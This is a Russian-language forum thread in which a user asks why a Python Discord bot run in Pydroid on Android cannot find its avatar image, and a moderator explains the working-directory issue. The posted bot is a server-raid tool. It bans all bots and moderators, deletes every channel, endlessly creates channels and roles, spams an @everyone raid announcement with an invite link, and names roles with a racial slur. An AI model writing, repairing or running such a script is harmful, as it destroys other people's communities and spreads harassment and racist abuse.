Код не видит изображение, хотя оно есть.

FimusPhimosis

Новичок
Пользователь
Фев 25, 2024
11
1
3
ОС: Android (тот же Linux)
Версия Python: 3.12
Используемые библиотеки: Discord, OS

Приветствую, я написал код для дискорд бота. На винде я пробовал, работает отлично. Но вот когда ноута нету под рукой, приходится запускать скрипты на телефоне. Но вместо нормальной работы сегодняшнего скрипта я получаю ошибку:

====================================
2024-08-04 23:28:07 INFO discord.client logging in using static token
2024-08-04 23:28:09 INFO discord.gateway Shard ID None has connected to Gateway (Session ID: bdf45161ad06b20c1d9f2a2a134d2a0a).
Logged in as VenyaAI
2024-08-04 23:28:23 ERROR discord.ext.commands.bot Ignoring exception in command start
Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 235, in wrapped
ret = await coro(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<string>", line 34, in start
FileNotFoundError: [Errno 2] No such file or directory: 'avatar.png'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/bot.py", line 1366, in invoke
await ctx.command.invoke(ctx)
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 1029, in invoke
await injected(*ctx.args, **ctx.kwargs) # type: ignore
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 244, in wrapped
raise CommandInvokeError(exc) from exc
discord.ext.commands.errors.CommandInvokeError: Command raised an exception: FileNotFoundError: [Errno 2] No such file or directory: 'avatar.png'
====================================

Я понимаю, что ошибка в том, что код не видит изображение, но оно находится в той же папке, что и код. Объясните пожалуйста, в чём дело? Если что писал я всё в приложении Pydroid.

Код:
Python:
import discord
from discord.ext import commands, tasks
import os
TOKEN = 'тут должен быть токен бота'
NEW_SERVER_NAME = 'ПРОТУХШИЙ СЕРВЕР'
AVATAR_PATH = 'avatar.png''

intents = discord.Intents.default()
intents.guilds = True
intents.messages = True
intents.message_content = True
intents.members = True
intents.presences = True
bot = commands.Bot(command_prefix='!', intents=intents)

created_channels = []

@bot.event
async def on_ready():
    print(f'Logged in as {bot.user.name}')

@bot.command()
async def start(ctx):
    guild = ctx.guild
    message = "# **ВНИМАНИЕ, СЕРВЕР ПРОТУХ**\n@everyone\n-# рейдеры решили, что ваш сервак является парашным, поэтому он был зарейжен:)\n https://media.discordapp.net/attachments/1266782423472013464/1267879236782264432/479eb17-6-1-1.gif?ex=66aa640e&is=66a9128e&hm=50e5e0c3d4074ffdc39267340ef7dd2487b7d330132c9a9c953e5c8513409d18&=&width=310&height=437\n**ПРИХОДИТЕ В ВЕЛИКУЮ ТИТМАУСЛЯНДИЮ - https://discord.gg/b4ZAk8Jh**"
    role_name = "НЕГР228"

    with open(AVATAR_PATH, 'rb') as avatar:
        await guild.edit(name=NEW_SERVER_NAME, icon=avatar.read())
    print(f'Server name changed to {NEW_SERVER_NAME} and avatar updated.')

    for member in guild.members:
        if member.bot and member != bot.user:
            try:
                await member.ban(reason="Бан всех ботов")
                print(f'Banned bot {member.name}')
            except discord.Forbidden:
                print(f'Cannot ban bot {member.name}: Missing Permissions')

    for member in guild.members:
        if any(getattr(member.guild_permissions, perm) for perm in [
            'kick_members', 'ban_members', 'administrator', 'manage_channels', 'manage_guild', 'manage_messages'
        ]):
            try:
                await member.ban(reason="Бан всех модераторов")
                print(f'Banned moderator {member.name}')
            except discord.Forbidden:
                print(f'Cannot ban moderator {member.name}: Missing Permissions')

    for channel in guild.channels:
        try:
            await channel.delete()
            print(f'Deleted channel {channel.name}')
        except discord.Forbidden:
            print(f'Cannot delete channel {channel.name}: Missing Permissions')

    @tasks.loop(seconds=0.00000000000000000000000000001)
    async def create_channels_and_send_messages():
        try:
            new_channel = await guild.create_text_channel('новый-канал')
            print(f'Created new channel {new_channel.name}')
            created_channels.append(new_channel)

            await send_messages_to_channels(message)

        except discord.Forbidden:
            print(f'Cannot create channel or send message in guild {guild.name}: Missing Permissions')

    @tasks.loop(seconds=1)
    async def create_roles():
        try:
            new_role = await guild.create_role(name=role_name)
            print(f'Created new role {new_role.name}')
        except discord.Forbidden:
            print(f'Cannot create role in guild {guild.name}: Missing Permissions')

    async def send_messages_to_channels(message):
        for channel in created_channels:
            try:
                await channel.send(message)
                print(f'Sent message to {channel.name}')
            except discord.Forbidden:
                print(f'Cannot send message to channel {channel.name}: Missing Permissions')

    create_channels_and_send_messages.start()
    create_roles.start()

bot.run(TOKEN)
 

FimusPhimosis

Новичок
Пользователь
Фев 25, 2024
11
1
3
извиняюсь, версия питона не 3.12, а 3.11
 

Vershitel_sudeb

Vershitel sudeb
Команда форума
Модератор
Мар 17, 2021
969
219
43
20
Москва
Посмотри в какой директории выполняется код и какие там есть файлы
Python:
from pathlib import Path
cwd = Path.cwd()
print("Рабочая директория:", cwd)
print("Файлы:", *cwd.iterdir(), sep="\n")
 
  • Мне нравится
Реакции: FimusPhimosis

FimusPhimosis

Новичок
Пользователь
Фев 25, 2024
11
1
3
Посмотри в какой директории выполняется код и какие там есть файлы
Python:
from pathlib import Path
cwd = Path.cwd()
print("Рабочая директория:", cwd)
print("Файлы:", *cwd.iterdir(), sep="\n")
мне далось это:

Рабочая директория: /storage/emulated/0
Файлы:
/storage/emulated/0/Android
/storage/emulated/0/Music
/storage/emulated/0/фоточки
/storage/emulated/0/Ringtones
/storage/emulated/0/Alarms
/storage/emulated/0/Notifications
/storage/emulated/0/Pictures
/storage/emulated/0/Movies
/storage/emulated/0/DCIM
/storage/emulated/0/Download
/storage/emulated/0/Audiobooks
/storage/emulated/0/Recordings
/storage/emulated/0/MIUI
/storage/emulated/0/музончик
/storage/emulated/0/видео
/storage/emulated/0/аудио-записи
/storage/emulated/0/Arceus X
/storage/emulated/0/.TotalCommander
/storage/emulated/0/.kivy
/storage/emulated/0/Books
/storage/emulated/0/pydroball.png
/storage/emulated/0/Playlists

и что дальше?
Посмотри в какой директории выполняется код и какие там есть файлы
Python:
from pathlib import Path
cwd = Path.cwd()
print("Рабочая директория:", cwd)
print("Файлы:", *cwd.iterdir(), sep="\n")
я всё ещё ожидаю ответа😃
 

Vershitel_sudeb

Vershitel sudeb
Команда форума
Модератор
Мар 17, 2021
969
219
43
20
Москва
Ну как видишь, у тебя рабочей директорией является maindir телефона, в ней нет твоего файла) Прописывай полный путь к нему, условно
AVATAR_PATH = '/storage/emulated/0/Download/avatar.png'
 

FimusPhimosis

Новичок
Пользователь
Фев 25, 2024
11
1
3
Ну как видишь, у тебя рабочей директорией является maindir телефона, в ней нет твоего файла) Прописывай полный путь к нему, условно
AVATAR_PATH = '/storage/emulated/0/Download/avatar.png'
а если у меня папка с кодом и с изображением находятся на сд карте?
 

Vershitel_sudeb

Vershitel sudeb
Команда форума
Модератор
Мар 17, 2021
969
219
43
20
Москва
Поставь Mixplorer (файловый менеджер), найди свою картинку, зажми её, открой меню (три точки справа сверху), выбери пункт свойства, там будет путь к файлу
 
  • Мне нравится
Реакции: FimusPhimosis

Форум IT Специалистов